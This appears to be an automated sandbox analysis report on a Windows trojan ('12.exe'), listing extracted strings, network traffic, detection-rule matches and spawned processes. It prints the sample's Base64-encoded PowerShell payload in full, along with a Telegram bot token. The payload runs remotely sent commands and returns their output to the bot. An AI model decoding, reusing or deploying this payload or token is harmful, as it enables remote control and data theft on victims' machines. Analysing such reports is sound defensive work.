Source: powershell.exe, 00000001.00000002.3894305093.000002AE04471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.6.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000001.00000002.3894305093.000002AE04471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.3894525884.000001C84B896000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B68F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B2C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BABF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B46B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B729000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BAF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B3C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B8B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000005.00000002.3894525884.000001C84B896000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B68F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B2C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BABF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B46B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B729000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BAF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B3C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B8B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=
Source: powershell.exe, 00000005.00000002.3894525884.000001C84B3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124
Source: powershell.exe, 00000005.00000002.3894525884.000001C84B868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=9894443
Source: powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0P
Source: powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000007.00000003.2081812677.000001BDE9BB0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.3894525884.000001C84A8C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.3894305093.000002AE05E3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE144EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE14622000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 64989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64979
Source: unknown	Network traffic detected: HTTP traffic on port 64975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64976
Source: unknown	Network traffic detected: HTTP traffic on port 64862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64975
Source: unknown	Network traffic detected: HTTP traffic on port 64979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64791
Source: unknown	Network traffic detected: HTTP traffic on port 64982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64989
Source: unknown	Network traffic detected: HTTP traffic on port 64976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64985
Source: unknown	Network traffic detected: HTTP traffic on port 64993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64986
Source: unknown	Network traffic detected: HTTP traffic on port 64983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64991
Source: unknown	Network traffic detected: HTTP traffic on port 64791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64993
Source: unknown	Network traffic detected: HTTP traffic on port 64992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64995
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 64984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 64978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64995 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49704 version: TLS 1.2

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3552, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3F28C0	0_2_00007FF73A3F28C0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40FEE8	0_2_00007FF73A40FEE8
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A408340	0_2_00007FF73A408340
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40DBA8	0_2_00007FF73A40DBA8
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A409C78	0_2_00007FF73A409C78
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40AAE0	0_2_00007FF73A40AAE0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A402764	0_2_00007FF73A402764
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40000C	0_2_00007FF73A40000C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A401894	0_2_00007FF73A401894
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A3FF824	0_2_00007FF73A3FF824
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40F84C	0_2_00007FF73A40F84C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF73A40C698	0_2_00007FF73A40C698
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E660A5	5_2_00007FF848E660A5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E6FAEC	5_2_00007FF848E6FAEC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E67208	5_2_00007FF848E67208
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E6FB75	5_2_00007FF848E6FB75
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E6D4D8	5_2_00007FF848E6D4D8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F3418F	5_2_00007FF848F3418F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F33B9E	5_2_00007FF848F33B9E

Source: C:\Users\user\Desktop\12.exe	Process created: Commandline size = 9484
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 9439
Source: C:\Users\user\Desktop\12.exe	Process created: Commandline size = 9484	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 9439	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 3552, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.bank.troj.evad.winEXE@22/44@4/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\12.exe

File created: C:\Users\user\AppData\Local\Temp\file.pdf

Jump to behavior

Source: 12.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 12.exe	Virustotal: Detection: 16%
Source: 12.exe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\12.exe "C:\Users\user\Desktop\12.exe"
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFs